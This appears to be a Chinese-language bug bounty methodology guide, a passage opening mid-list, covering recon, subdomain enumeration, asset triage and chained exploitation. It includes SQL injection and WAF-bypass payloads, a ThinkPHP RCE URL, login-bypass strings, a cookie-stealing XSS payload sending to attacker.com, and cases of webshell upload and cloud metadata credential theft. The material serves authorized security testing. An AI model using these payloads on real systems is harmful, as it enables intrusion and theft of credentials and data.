  ├── 步骤4:修改用户标识为目标用户
  ├── 跳过步骤2-3直接访问步骤4
  └── 修改步骤4请求中的token/userid

  ---
  第五类:SQL注入(经典高危)

  5.1 注入点关联发现

  【参数类型关联】

  GET参数:?id=1
  ├── 数字型:id=1 and 1=1
  ├── 字符型:id=1' and '1'='1
  ├── 搜索型:id=1%' and '%'='
  └── 编码型:需要先解码

  POST参数:id=1(表单/JSON)
  ├── 同GET测试方法
  ├── JSON: {"id":"1' and '1'='1"}
  └── 数组: id[]=1

  Cookie参数:Cookie: user=admin
  ├── 常被忽略的注入点
  └── user=admin' and '1'='1

  HTTP头:
  ├── X-Forwarded-For: 1' and '1'='1
  ├── Referer: 1' and '1'='1
  ├── User-Agent: 1' and '1'='1
  └── 常用于记录日志的场景

  【注入位置关联】

  发现注入点 → 关联测试其他位置:
  ├── 同接口其他参数
  ├── 同功能其他接口
  ├── 相似功能的接口
  └── 管理后台相同功能

  5.2 注入Payload关联

  【数据库类型识别】

  MySQL关联Payload:
  ├── and 1=1
  ├── ' and '1'='1
  ├── " and "1"="1
  ├── and sleep(5)
  ├── and benchmark(10000000,md5('a'))
  └── and updatexml(1,concat(0x7e,version()),1)

  MSSQL关联Payload:
  ├── and 1=1
  ├── ; waitfor delay '0:0:5'--
  ├── and @@version>0
  └── and db_name()>0

  Oracle关联Payload:
  ├── and 1=1
  ├── and dbms_pipe.receive_message('a',5)=1
  ├── and (select utl_inaddr.get_host_name from dual)>0
  └── and rownum=1

  PostgreSQL关联Payload:
  ├── and 1=1
  ├── ; select pg_sleep(5);--
  └── and version()::int=1

  【绕过关联】

  被WAF拦截 → 关联绕过尝试:
  ├── 大小写:And, AND, aNd
  ├── 双写:aandnd, oorr
  ├── 编码:%27, %2527, %u0027
  ├── 注释:a]nd, an/**/d, /*!and*/
  ├── 等价替换:and→&&, or→||, =→like
  ├── 空格替换:%09, %0a, %0b, %0c, %0d, /**/
  └── 内联注释:/*!50000and*/

  ---
  第六类:快速出洞工作流

  6.1 目标选择策略

  【高价值目标特征】

  优先选择:
  ├── 新上线的业务/功能
  ├── 小众但有价值的子域名
  ├── 边缘系统(OA、CRM、ERP)
  ├── 移动端APP对应的API
  ├── 小程序后端接口
  ├── 老旧系统(技术债务多)
  └── 第三方系统集成点

  避免:
  ├── 核心主站(防护强、竞争激烈)
  ├── 已被大量测试的常规功能
  └── 纯静态页面

  6.2 15分钟快速扫描流程

  分钟1-3:信息收集
  ├── 子域名枚举
  ├── 端口扫描(常见端口)
  ├── 目录扫描(常见路径)
  └── 技术栈识别

  分钟4-6:信息泄露扫描
  ├── .git/.svn/.env扫描
  ├── 备份文件扫描
  ├── actuator/swagger扫描
  └── 敏感路径扫描

  分钟7-9:未授权检测
  ├── 管理后台直接访问
  ├── API接口未授权
  ├── 功能模块未授权
  └── 删除Cookie后能否访问

  分钟10-12:注入快速检测
  ├── 所有参数加单引号测试
  ├── 观察报错信息
  ├── 时间盲注检测
  └── SQLMap快速扫描

  分钟13-15:逻辑漏洞探测
  ├── 注册/登录流程
  ├── 找回密码流程
  ├── 参数ID遍历测试
  └── 价格/数量篡改测试

  产出:快速识别有无低hanging fruit

  6.3 深度挖掘关联图

  发现一个漏洞 → 关联扩展

  信息泄露 → 关联:
  ├── 泄露的源码中有无硬编码密码?
  ├── 配置文件中的数据库能否连接?
  ├── 发现的接口有无其他漏洞?
  ├── 泄露的用户信息能否用于登录?
  └── 组合成更高危漏洞

  未授权访问 → 关联:
  ├── 未授权页面有无敏感信息?
  ├── 未授权功能有无注入点?
  ├── 能否通过未授权接口获取更多数据?
  ├── 能否进行进一步的越权操作?
  └── 组合成完整攻击链

  越权漏洞 → 关联:
  ├── 能访问多少用户的数据?
  ├── 能否提升到管理员权限?
  ├── 能否修改/删除他人数据?
  ├── 其他相似接口是否存在同样问题?
  └── 批量验证影响范围

  SQL注入 → 关联:
  ├── 能否获取数据库全部数据?
  ├── 能否获取系统管理员密码?
  ├── 能否写入webshell?
  ├── 能否执行系统命令?
  └── 组合RCE

  ---
  工具链推荐

  信息收集:
  ├── 子域名:OneForAll, subfinder, amass
  ├── 端口:nmap, masscan
  ├── 目录:dirsearch, ffuf, gobuster
  └── 指纹:whatweb, wappalyzer

  漏洞扫描:
  ├── 综合:Xray, Nuclei
  ├── SQL注入:SQLMap
  ├── Web综合:AWVS, Nessus
  └── API:Postman + BurpSuite

  手工测试:
  ├── 代理:BurpSuite
  ├── 越权:Autorize插件
  ├── 重放:Repeater
  └── 爆破:Intruder

  ---

 


SRC全链路漏洞挖掘引擎 v2.0

SRC全链路漏洞挖掘引擎 v2.0

  全链路概览

  ┌─────────────────────────────────────────────────────────────────┐
  │  阶段1        阶段2         阶段3        阶段4        阶段5     │
  │  信息收集 ──→ 子域名收集 ──→ 资产过滤 ──→ 漏洞挖掘 ──→ 组合利用  │
  │     │            │            │            │            │      │
  │   广度优先    深度穷举      精准筛选     系统测试      链式攻击   │
  │     ↓            ↓            ↓            ↓            ↓      │
  │  目标画像    资产清单      高价值列表    漏洞列表      完整报告   │
  └─────────────────────────────────────────────────────────────────┘

  ---
  阶段1:信息收集(Reconnaissance)

  1.1 信息收集全景图

  信息收集
  ├── 公司信息
  │   ├── 企业架构(母公司、子公司、关联公司)
  │   ├── 业务范围(主营业务、新业务线)
  │   ├── 技术栈(招聘信息推断)
  │   └── 收购历史(可能遗留老系统)
  │
  ├── 域名信息
  │   ├── 主域名
  │   ├── 备案域名
  │   ├── 历史域名
  │   └── 关联域名
  │
  ├── IP信息
  │   ├── 域名解析IP
  │   ├── IP段(ASN)
  │   ├── CDN真实IP
  │   └── 历史解析IP
  │
  ├── 人员信息
  │   ├── 技术负责人(GitHub/博客)
  │   ├── 员工邮箱格式
  │   └── 社工库信息
  │
  └── 敏感信息
      ├── GitHub代码泄露
      ├── 网盘泄露
      ├── 文档泄露
      └── 历史漏洞

  1.2 信息收集关联矩阵

  【企业信息关联】

  目标公司 → 关联收集:
  ├── 天眼查/企查查 → 股权结构、子公司、对外投资
  ├── ICP备案查询 → 备案域名、备案主体
  ├── 商标查询 → 关联品牌、产品名
  ├── APP查询(七麦/蝉大师)→ 关联APP
  ├── 小程序搜索 → 关联小程序
  ├── 公众号搜索 → 关联公众号
  └── 招聘网站 → 技术栈、业务方向

  【域名信息关联】

  主域名 example.com → 关联收集:
  ├── WHOIS → 注册邮箱 → 反查其他域名
  ├── WHOIS → 注册人 → 反查其他域名
  ├── WHOIS → 注册商 → 同注册商其他域名
  ├── 备案号 → 同备案号其他域名
  ├── SSL证书 → 证书中的其他域名
  ├── DNS记录 → MX/TXT/NS记录中的域名
  ├── 同IP域名 → 旁站
  └── 历史WHOIS → 历史关联域名

  【IP信息关联】

  发现IP 1.2.3.4 → 关联收集:
  ├── ASN查询 → IP段范围
  ├── 反查域名 → 同IP其他域名
  ├── C段扫描 → 1.2.3.0/24
  ├── 历史解析 → 曾经解析到此IP的域名
  ├── 端口扫描 → 开放服务
  └── CDN识别 → 尝试获取真实IP

  1.3 信息收集工具链

  # 企业信息
  天眼查/企查查 → 子公司列表
  ICP备案查询 → https://beian.miit.gov.cn/
  APP查询 → https://www.qimai.cn/

  # 域名信息
  WHOIS查询:whois example.com
  备案反查:站长工具、爱站
  SSL证书:https://crt.sh/?q=%.example.com
  DNS记录:dig example.com any

  # IP信息
  ASN查询:https://bgp.he.net/
  IP反查:https://site.ip138.com/
  C段查询:https://webscan.cc/

  # 敏感信息
  GitHub:
  ├── site:github.com "example.com"
  ├── site:github.com "example" password
  ├── site:github.com "example" secret
  ├── site:github.com "example" api_key
  └── 工具:GitDorker, truffleHog

  Google Dork:
  ├── site:example.com filetype:pdf
  ├── site:example.com filetype:xlsx
  ├── site:example.com inurl:admin
  ├── site:example.com intitle:登录
  └── site:example.com ext:sql|bak|conf

  1.4 信息收集产出模板

  【目标画像】

  公司名称:____________
  主域名:____________
  备案号:____________
  技术栈:____________

  关联公司:
  ├── ____________(子公司)
  ├── ____________(子公司)
  └── ____________(关联公司)

  关联域名:
  ├── ____________(主站)
  ├── ____________(备案关联)
  ├── ____________(WHOIS关联)
  └── ____________(证书关联)

  关联IP段:
  ├── ____________/24(ASN: ______)
  └── ____________/24(ASN: ______)

  泄露信息:
  ├── GitHub: ____________
  ├── 网盘: ____________
  └── 历史漏洞: ____________

  ---
  阶段2:子域名收集(Subdomain Enumeration)

  2.1 子域名收集全景图

  子域名收集
  ├── 被动收集(不接触目标)
  │   ├── 证书透明度日志(crt.sh)
  │   ├── DNS数据集(SecurityTrails, RapidDNS)
  │   ├── 搜索引擎(Google, Bing, Fofa, Shodan)
  │   ├── 威胁情报(VirusTotal, AlienVault)
  │   └── 历史数据(Wayback Machine)
  │
  ├── 主动收集(接触目标)
  │   ├── DNS爆破
  │   ├── DNS域传送
  │   ├── DNS记录查询
  │   └── 网页爬取
  │
  ├── 关联发现
  │   ├── 同IP子域名
  │   ├── JS文件中的子域名
  │   ├── 响应头中的子域名
  │   └── 跨域配置中的子域名
  │
  └── 深度挖掘
      ├── 子域名的子域名
      ├── 模式推测(dev-api, api-dev, api2)
      └── 字典定制

  2.2 子域名收集关联矩阵

  【被动收集关联】

  证书透明度:
  ├── crt.sh: https://crt.sh/?q=%.example.com
  ├── censys: https://search.censys.io/
  ├── google透明度: https://transparencyreport.google.com/
  └── 关联:提取所有证书中的域名

  DNS数据集:
  ├── SecurityTrails: https://securitytrails.com/
  ├── RapidDNS: https://rapiddns.io/
  ├── DNSDumpster: https://dnsdumpster.com/
  ├── Hackertarget: https://hackertarget.com/
  └── 关联:历史DNS记录、子域名变更

  搜索引擎:
  ├── Google: site:*.example.com -www
  ├── Bing: site:example.com
  ├── Fofa: domain="example.com"
  ├── Shodan: hostname:example.com
  ├── Hunter: domain.suffix="example.com"
  └── ZoomEye: site:example.com

  【主动收集关联】

  DNS爆破字典关联:
  ├── 通用字典:常见子域名(www, mail, api, dev...)
  ├── 行业字典:根据业务定制(pay, order, member...)
  ├── 技术字典:根据技术栈(jenkins, gitlab, k8s...)
  ├── 已发现关联:发现api1 → 尝试api2, api3, api-dev
  └── 组合字典:前缀+已知子域(dev-api, test-api, api-test)

  DNS记录关联:
  ├── A记录 → 解析IP → 反查域名
  ├── CNAME记录 → 目标域名 → 可能的接管
  ├── MX记录 → 邮件域名
  ├── TXT记录 → SPF/DKIM中的域名
  ├── NS记录 → DNS服务商
  └── 域传送测试 → 获取全部记录

  【深度挖掘关联】

  发现 api.example.com → 关联推测:
  ├── 前缀变体:api2, api-v2, api-new, api-old
  ├── 后缀变体:api-dev, api-test, api-staging, api-prod
  ├── 环境变体:dev-api, test-api, uat-api, pre-api
  ├── 内部变体:inner-api, internal-api, private-api
  ├── 版本变体:v1-api, v2-api, apiv1, apiv2
  └── 地区变体:cn-api, us-api, api-cn, api-us

  JS文件中的子域名:
  ├── 爬取所有JS文件
  ├── 正则提取域名:[a-zA-Z0-9][-a-zA-Z0-9]*\.example\.com
  ├── 关联:API接口地址、第三方服务
  └── 工具:JSFinder, LinkFinder, SubDomainizer

  2.3 子域名收集工具链

  # 综合工具(推荐)
  OneForAll:
  └── python oneforall.py --target example.com run

  subfinder:
  └── subfinder -d example.com -all -o subs.txt

  amass:
  └── amass enum -d example.com -o amass.txt

  # 被动收集
  curl "https://crt.sh/?q=%.example.com&output=json" | jq -r '.[].name_value' | sort -u

  # 主动爆破
  dnsx:
  └── dnsx -d example.com -w wordlist.txt -o dnsx.txt

  gobuster:
  └── gobuster dns -d example.com -w wordlist.txt -o gobuster.txt

  # JS提取
  python JSFinder.py -u https://example.com -d

  # 去重整合
  cat *.txt | sort -u > all_subs.txt

  2.4 子域名收集产出模板

  【子域名清单】

  总数:____个

  按来源分类:
  ├── 证书透明度:____个
  ├── DNS数据集:____个
  ├── 搜索引擎:____个
  ├── DNS爆破:____个
  ├── JS提取:____个
  └── 关联推测:____个

  按类型分类:
  ├── Web服务:____个
  ├── API接口:____个
  ├── 邮件服务:____个
  ├── 开发测试:____个
  ├── 管理后台:____个
  └── 其他:____个

  高价值目标(初筛):
  ├── admin.example.com(管理后台)
  ├── api.example.com(API接口)
  ├── dev.example.com(开发环境)
  ├── test.example.com(测试环境)
  └── gitlab.example.com(代码仓库)

  ---
  阶段3:资产过滤(Asset Filtering)

  3.1 资产过滤全景图

  资产过滤
  ├── 存活检测
  │   ├── HTTP存活
  │   ├── 端口存活
  │   └── Ping存活
  │
  ├── 基础信息
  │   ├── IP地址
  │   ├── 端口服务
  │   ├── 响应状态码
  │   ├── 响应长度
  │   └── 网页标题
  │
  ├── 指纹识别
  │   ├── Web框架
  │   ├── CMS系统
  │   ├── 中间件
  │   ├── 操作系统
  │   └── WAF识别
  │
  ├── 价值评估
  │   ├── 功能价值(登录、支付、API)
  │   ├── 数据价值(用户、订单、配置)
  │   ├── 防护强度(WAF、CDN)
  │   └── 新鲜程度(新上线、老系统)
  │
  └── 优先排序
      ├── 高价值 + 低防护 = 优先
      ├── 开发测试环境 = 优先
      ├── 边缘系统 = 优先
      └── 新上线功能 = 优先

  3.2 资产过滤关联矩阵

  【存活检测关联】

  HTTP探测:
  ├── httpx -l subs.txt -o alive.txt
  ├── 关联检测:HTTP和HTTPS都测试
  ├── 关联检测:常见端口(80,443,8080,8443,8000,8888)
  └── 关联检测:非标准端口(来自nmap扫描)

  端口扫描关联:
  ├── 常见Web端口:80,443,8080,8443,8000,8888,9000
  ├── 管理端口:22,3389,3306,6379,27017
  ├── 中间件端口:8080(Tomcat),7001(WebLogic),9200(ES)
  ├── 发现非标准端口 → 关联识别服务
  └── 发现数据库端口 → 关联测试未授权

  【指纹识别关联】

  Web指纹 → 关联漏洞库:
  ├── ThinkPHP → ThinkPHP RCE漏洞
  ├── Shiro → Shiro反序列化
  ├── Spring Boot → Actuator泄露
  ├── Struts2 → S2系列漏洞
  ├── Laravel → Debug模式RCE
  ├── Fastjson → 反序列化漏洞
  ├── Weblogic → 反序列化漏洞
  ├── Tomcat → PUT上传、AJP漏洞
  ├── Nginx → 配置错误
  └── WordPress/Drupal → 已知CVE

  CMS识别 → 关联漏洞:
  ├── WordPress → WPScan扫描
  ├── Drupal → Drupalgeddon
  ├── Joomla → 已知漏洞
  ├── Discuz → 已知漏洞
  ├── DedeCMS → 已知漏洞
  └── 帝国CMS → 已知漏洞

  【价值评估关联】

  高价值特征:
  ├── 标题包含:管理|后台|admin|系统|平台
  ├── 标题包含:登录|注册|sign|login
  ├── 路径包含:/admin|/manage|/system|/api
  ├── 功能包含:支付|订单|用户|会员
  ├── 环境标识:dev|test|uat|staging|pre
  └── 老旧特征:Copyright 2018|Powered by xxx

  低防护特征:
  ├── 无WAF拦截
  ├── 详细报错信息
  ├── 目录可遍历
  ├── 默认页面
  ├── 测试环境标识
  └── 无HTTPS

  3.3 资产过滤工具链

  # 存活检测
  httpx:
  └── httpx -l subs.txt -status-code -title -tech-detect -o httpx.txt

  # 端口扫描
  nmap:
  └── nmap -sT -Pn -p 80,443,8080,8443,8000,8888,9000 -iL alive_ips.txt -oN nmap.txt

  masscan:
  └── masscan -p 1-65535 --rate 1000 -iL ips.txt -oL masscan.txt

  # 指纹识别
  EHole:
  └── EHole finger -l urls.txt -o ehole.txt

  whatweb:
  └── whatweb -i urls.txt --log-json=whatweb.json

  nuclei(指纹模板):
  └── nuclei -l urls.txt -t technologies/ -o tech.txt

  # 综合探测
  fscan:
  └── fscan -hf ips.txt -o fscan.txt

  3.4 资产过滤产出模板

  【高价值资产清单】

  排序:按优先级从高到低

  ═══════════════════════════════════════════════════════
  优先级:⭐⭐⭐⭐⭐(最高)
  ═══════════════════════════════════════════════════════

  1. dev-admin.example.com
     ├── IP: 1.2.3.4
     ├── 端口: 80,443
     ├── 标题: 开发环境管理后台
     ├── 指纹: ThinkPHP 5.0
     ├── WAF: 无
     └── 理由: 开发环境+管理后台+老版本框架

  2. api-test.example.com
     ├── IP: 1.2.3.5
     ├── 端口: 8080
     ├── 标题: API测试平台
     ├── 指纹: Spring Boot
     ├── WAF: 无
     └── 理由: 测试环境+API+Actuator可能暴露

  ═══════════════════════════════════════════════════════
  优先级:⭐⭐⭐⭐(高)
  ═══════════════════════════════════════════════════════

  3. oa.example.com
     ...

  【资产统计】

  总资产:____个
  ├── 高优先级(⭐⭐⭐⭐⭐):____个
  ├── 中高优先级(⭐⭐⭐⭐):____个
  ├── 中优先级(⭐⭐⭐):____个
  └── 低优先级(⭐⭐/⭐):____个

  指纹分布:
  ├── ThinkPHP: ____个
  ├── Spring Boot: ____个
  ├── PHP原生: ____个
  ├── Java: ____个
  └── 其他: ____个

  ---
  阶段4:漏洞挖掘(Vulnerability Discovery)

  4.1 漏洞挖掘优先级矩阵

  【按资产优先级分配时间】

  ⭐⭐⭐⭐⭐资产:深度测试(60%时间)
  ├── 全漏洞类型覆盖
  ├── 手工深度测试
  ├── 逻辑漏洞重点
  └── 组合利用尝试

  ⭐⭐⭐⭐资产:重点测试(25%时间)
  ├── 高频漏洞覆盖
  ├── 自动化+手工结合
  └── 发现线索深入

  ⭐⭐⭐资产:快速扫描(10%时间)
  ├── 自动化扫描为主
  ├── 明显漏洞检测
  └── 发现再深入

  ⭐⭐/⭐资产:批量扫描(5%时间)
  ├── 纯自动化
  ├── 只看高危
  └── 批量检测

  4.2 漏洞挖掘关联矩阵(按指纹)

  【ThinkPHP关联漏洞】

  版本识别 → 关联漏洞:
  ├── 3.x → SQL注入、文件包含
  ├── 5.0.0-5.0.23 → RCE(s=index/think\app/invokefunction)
  ├── 5.1.x → RCE
  ├── 6.x → 反序列化
  └── 通用 → 日志泄露(/runtime/log/)

  关联测试Payload:
  ├── /index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
  ├── /runtime/log/202312/01.log
  ├── /application/database.php
  └── /.env

  【Spring Boot关联漏洞】

  Actuator端点 → 关联测试:
  ├── /actuator → 端点列表
  ├── /actuator/env → 环境变量(敏感信息)
  ├── /actuator/heapdump → 堆转储(可提取密码)
  ├── /actuator/mappings → 接口列表
  ├── /actuator/configprops → 配置属性
  ├── /actuator/jolokia → Jolokia RCE
  └── /actuator/gateway/routes → Gateway RCE

  Swagger暴露 → 关联测试:
  ├── /swagger-ui.html
  ├── /swagger-resources
  ├── /v2/api-docs
  ├── /v3/api-docs
  └── 发现接口 → 逐个测试

  【Shiro关联漏洞】

  识别特征:响应头包含 rememberMe=deleteMe
  ├── Shiro-550:硬编码Key反序列化
  ├── Shiro-721:Padding Oracle攻击
  └── 工具:ShiroExploit, shiro_attack

  【其他框架关联】

  Fastjson:
  ├── 识别:JSON参数、响应Content-Type
  ├── 探测:{"@type":"java.net.Inet4Address","val":"dnslog"}
  └── 利用:反序列化RCE

  Weblogic:
  ├── 端口:7001
  ├── 路径:/console, /wls-wsat
  ├── 漏洞:CVE-2017-10271, CVE-2019-2725, CVE-2020-14882
  └── 工具:WeblogicExploit

  Struts2:
  ├── 识别:.action, .do后缀
  ├── 漏洞:S2-001到S2-062
  └── 工具:Struts2-Scan

  4.3 漏洞挖掘关联矩阵(按功能)

  【登录功能关联测试】

  登录页面 → 关联测试:
  ├── 弱口令:admin/admin, admin/123456, test/test
  ├── 万能密码:admin'or'1'='1, admin'--
  ├── 用户名枚举:根据响应差异判断用户是否存在
  ├── 验证码:是否可绕过、是否可重用
  ├── 爆破:是否有频率限制
  ├── SQL注入:用户名/密码参数
  ├── 短信轰炸:发送验证码接口
  ├── 任意用户登录:修改响应包
  └── 越权:登录后修改Cookie中的用户标识

  【注册功能关联测试】

  注册页面 → 关联测试:
  ├── 任意用户注册:注册已存在用户覆盖
  ├── 验证码绕过:跳过验证步骤
  ├── 邀请码绕过:删除邀请码参数
  ├── 批量注册:接口无限制
  ├── 参数污染:注册时添加role=admin参数
  ├── SQL注入:用户名/邮箱/手机号参数
  └── XSS:用户名等字段存储型XSS

  【找回密码关联测试】

  找回密码 → 关联测试:
  ├── 任意用户重置:修改用户标识参数
  ├── 验证码爆破:4-6位验证码
  ├── 验证码绕过:删除验证码参数、修改响应包
  ├── 凭证泄露:重置链接在响应中
  ├── 链接可预测:重置token规律
  ├── 短信轰炸:重复发送无限制
  └── 步骤跳跃:直接访问重置密码步骤

  【支付功能关联测试】

  支付流程 → 关联测试:
  ├── 金额篡改:price参数改为0.01或负数
  ├── 数量篡改:num参数改为负数
  ├── 优惠券重用:并发使用同一优惠券
  ├── 订单替换:支付时替换为低价订单号
  ├── 支付绕过:修改支付回调状态
  ├── 越权支付:支付他人订单
  └── 条件竞争:并发下单/支付

  【API接口关联测试】

  API发现 → 关联测试:
  ├── 未授权访问:删除Token测试
  ├── 越权访问:修改用户ID参数
  ├── SQL注入:所有参数测试
  ├── 信息泄露:敏感数据返回
  ├── 批量获取:遍历ID参数
  ├── 接口枚举:根据命名规律发现更多接口
  └── 参数污染:添加额外参数(isAdmin=true)

  4.4 自动化+手工结合流程

  【第一轮:自动化扫描】

  nuclei全量扫描:
  └── nuclei -l urls.txt -t nuclei-templates/ -o nuclei_result.txt

  xray被动扫描:
  └── 配置代理,手工浏览触发扫描

  sqlmap批量测试:
  └── sqlmap -m urls_with_params.txt --batch --level 3

  【第二轮:半自动化测试】

  BurpSuite + 插件:
  ├── Autorize(越权检测)
  ├── Turbo Intruder(并发测试)
  ├── HaE(敏感信息高亮)
  └── Shiro被动检测

  【第三轮:手工深度测试】

  针对高价值功能:
  ├── 业务逻辑梳理
  ├── 参数逐个测试
  ├── 多账号对照测试
  ├── 边界条件测试
  └── 组合利用测试

  ---
  阶段5:组合利用(Chain Exploitation)

  5.1 组合利用全景图

  组合利用
  ├── 信息泄露 → 进一步利用
  │   ├── 源码泄露 → 审计发现更多漏洞
  │   ├── 配置泄露 → 数据库/后台密码
  │   ├── 凭证泄露 → 登录系统
  │   └── 接口泄露 → 发现更多攻击面
  │
  ├── 低危 → 高危提升
  │   ├── 信息泄露 + 弱口令 → 后台权限
  │   ├── XSS + CSRF → 管理员操作
  │   ├── SSRF + 内网服务 → 内网渗透
  │   └── 越权 + 敏感操作 → 数据泄露
  │
  ├── 单点 → 横向扩展
  │   ├── 一个子域漏洞 → 测试其他子域
  │   ├── 一个参数注入 → 测试同类参数
  │   ├── 一处越权 → 测试全部接口
  │   └── 一个弱口令 → 测试其他系统
  │
  └── 完整攻击链
      ├── 信息收集 → 发现入口 → 获取权限 → 横向移动 → 数据获取
      └── 提升漏洞等级和赏金

  5.2 组合利用关联矩阵

  【信息泄露组合利用】

  .git泄露 → 组合链:
  ├── 下载源码(GitHack/GitExtractor)
  ├── 代码审计 → SQL注入/命令执行/硬编码密码
  ├── 发现配置文件 → 数据库密码 → 连接数据库
  ├── 发现后台路径 → 尝试登录
  └── 发现API密钥 → 调用云服务

  actuator/heapdump → 组合链:
  ├── 下载heapdump文件
  ├── 分析提取 → 数据库密码/AK-SK/JWT密钥
  ├── 数据库密码 → 连接数据库
  ├── AK-SK → 云服务接管
  └── JWT密钥 → 伪造任意用户Token

  【低危提升高危】

  反射XSS → 组合提升:
  ├── 构造钓鱼链接
  ├── 获取管理员Cookie
  ├── 登录管理后台
  └── 后台功能 → 更多漏洞

  SSRF → 组合提升:
  ├── 探测内网服务
  ├── 访问元数据接口(云服务器)
  ├── 攻击内网Redis/数据库
  ├── 读取本地文件
  └── 内网其他系统漏洞

  普通SQL注入 → 组合提升:
  ├── 获取管理员密码
  ├── 登录后台
  ├── 后台文件上传 → Webshell
  └── 或直接写入Webshell

  【横向扩展】

  发现一处弱口令 → 关联扩展:
  ├── 同密码测试其他系统
  ├── 同用户名不同密码组合
  ├── 密码规律推测(公司名+年份)
  └── 测试VPN/邮箱/OA等系统

  发现一处越权 → 关联扩展:
  ├── 同系统其他接口是否存在
  ├── 其他子系统是否存在
  ├── 垂直越权尝试
  └── 批量利用影响范围

  5.3 组合利用实战案例

  【案例1:信息泄露到RCE】

  发现 → .git泄露
       ↓
  利用 → GitHack下载源码
       ↓
  审计 → 发现database.php包含数据库密码
       ↓
  利用 → 连接数据库成功
       ↓
  发现 → 管理员密码MD5,解密成功
       ↓
  利用 → 登录后台
       ↓
  发现 → 后台有文件上传功能
       ↓
  利用 → 上传Webshell
       ↓
  结果 → RCE

  漏洞链:信息泄露 → 数据库访问 → 后台登录 → 文件上传 → RCE
  提交:作为完整攻击链提交,定级更高

  【案例2:SSRF到云服务接管】

  发现 → SSRF漏洞(URL参数可控)
       ↓
  探测 → 访问 http://169.254.169.254/latest/meta-data/
       ↓
  获取 → 云服务器临时凭证(AK/SK/Token)
       ↓
  利用 → 使用凭证访问云服务API
       ↓
  发现 → 可以访问OSS存储桶
       ↓
  获取 → 大量敏感数据

  漏洞链:SSRF → 云元数据 → 临时凭证 → 云服务接管
  定级:严重

  【案例3:XSS到管理员权限】

  发现 → 存储型XSS(用户昵称字段)
       ↓
  构造 → <script>document.location='http://attacker.com/cookie?c='+document.cookie</script>
       ↓
  等待 → 管理员查看用户列表触发XSS
       ↓
  获取 → 管理员Cookie
       ↓
  利用 → 替换Cookie访问管理后台
       ↓
  发现 → 后台有更多功能和漏洞

  漏洞链:存储XSS → Cookie窃取 → 管理员权限

  5.4 漏洞报告优化

  【提升漏洞评级的技巧】

  信息泄露类:
  ├── 不只报告"存在.git泄露"
  ├── 而是"通过.git泄露获取源码,发现硬编码密码,可登录数据库"
  └── 证明实际危害

  越权类:
  ├── 不只报告"存在水平越权"
  ├── 而是"通过越权可访问全部X万用户的敏感信息"
  └── 证明影响范围

  注入类:
  ├── 不只报告"存在SQL注入"
  ├── 而是"通过SQL注入可获取全部用户数据/可写入Webshell"
  └── 证明利用深度

  【报告模板优化】

  标题:[漏洞类型] + [实际危害] + [影响范围]
  例:SQL注入导致全站用户数据泄露(影响XX万用户)

  内容结构:
  ├── 漏洞概述(1-2句话说明核心问题)
  ├── 漏洞URL/参数
  ├── 复现步骤(清晰、可复现)
  ├── 漏洞证明(截图/数据脱敏)
  ├── 实际危害(量化影响)
  ├── 修复建议
  └── 时间线(发现时间)

  ---
  完整工作流检查清单

  □ 阶段1:信息收集
    □ 企业架构梳理
    □ 关联域名收集
    □ IP段识别
    □ 敏感信息搜索

  □ 阶段2:子域名收集
    □ 被动收集(证书/DNS数据集/搜索引擎)
    □ 主动爆破
    □ 关联推测
    □ JS提取

  □ 阶段3:资产过滤
    □ 存活检测
    □ 端口扫描
    □ 指纹识别
    □ 优先级排序

  □ 阶段4:漏洞挖掘
    □ 自动化扫描
    □ 指纹关联漏洞
    □ 功能点测试
    □ 手工深度测试

  □ 阶段5:组合利用
    □ 信息泄露深入利用
    □ 低危提升高危
    □ 横向扩展测试
    □ 完整攻击链构建
    □ 报告优化提交

子域名分析

子域名收集高级技巧全书

  核心理念

  普通收集:工具一跑,收工回家
  高级收集:多维关联 × 深度递归 × 智能推测 × 持续监控

  目标:比别人多发现30%-50%的子域名 = 多30%-50%的攻击面

  ---
  第一章:被动收集高级技巧

  1.1 证书透明度深度挖掘

  【基础】
  crt.sh: https://crt.sh/?q=%.example.com

  【高级技巧1:多平台交叉】

  平台列表(各有独家数据):
  ├── https://crt.sh/?q=%.example.com
  ├── https://censys.io/certificates?q=example.com
  ├── https://developers.facebook.com/tools/ct/
  ├── https://google.com/transparencyreport/https/ct/
  └── https://ui.ctsearch.entrust.com/ui/ctsearchui

  关联技巧:不同平台数据有差异,全部查询后去重

  【高级技巧2:通配符证书利用】

  发现 *.example.com 证书 → 关联:
  ├── 该证书可能覆盖大量未公开子域名
  ├── 查看证书详情中的SAN字段
  ├── 可能包含:*.api.example.com, *.dev.example.com
  └── 递归查询这些通配符域名

  【高级技巧3:历史证书挖掘】

  crt.sh支持时间过滤:
  ├── 查看历史证书(可能包含已下线但仍可访问的域名)
  ├── 对比不同时期证书变化
  └── 发现临时上线又下线的测试域名

  【高级技巧4:组织名称关联】

  证书中包含组织信息 → 关联查询:
  ├── 查询同一组织签发的所有证书
  ├── censys: parsed.subject.organization:"Company Name"
  └── 可能发现关联公司的域名

  1.2 DNS数据集深度挖掘

  【多平台交叉查询】

  免费平台:
  ├── https://securitytrails.com/domain/example.com/dns
  ├── https://rapiddns.io/subdomain/example.com
  ├── https://dnsdumpster.com/
  ├── https://hackertarget.com/find-dns-host-records/
  ├── https://www.virustotal.com/gui/domain/example.com/relations
  ├── https://otx.alienvault.com/indicator/domain/example.com
  ├── https://threatcrowd.org/domain.php?domain=example.com
  └── https://www.threatminer.org/domain.php?q=example.com

  付费/注册平台(数据更全):
  ├── SecurityTrails(注册免费额度)
  ├── PassiveTotal/RiskIQ
  ├── Farsight DNSDB
  ├── Spyse
  └── Shodan

  【高级技巧1:历史DNS记录】

  SecurityTrails历史DNS:
  ├── 查看域名历史解析记录
  ├── 发现曾经存在但现在下线的子域名
  ├── 这些子域名可能仍然可以访问(DNS未更新但服务还在)
  └── 或者可以尝试子域名接管

  【高级技巧2:反向DNS查询】

  发现IP 1.2.3.4 → 关联:
  ├── 反查该IP上的所有域名
  ├── 查询同C段的所有域名
  ├── 工具:https://viewdns.info/reverseip/
  └── 可能发现隐藏的内部域名

  【高级技巧3:NS记录关联】

  查询目标NS服务器:
  ├── dig example.com NS
  ├── 发现 ns1.dnsprovider.com
  ├── 查询同一NS服务器托管的其他域名
  └── 可能发现关联域名

  1.3 搜索引擎高级语法

  【Google高级语法】

  基础:
  site:*.example.com -www

  高级组合:
  ├── site:*.example.com -www -site:www.example.com
  ├── site:example.com inurl:admin
  ├── site:example.com intitle:登录 OR intitle:后台
  ├── site:example.com filetype:php inurl:config
  ├── site:example.com "powered by" OR "版权所有"
  └── site:example.com ext:action OR ext:do(Java站点)

  关联技巧:
  ├── 从搜索结果中提取子域名
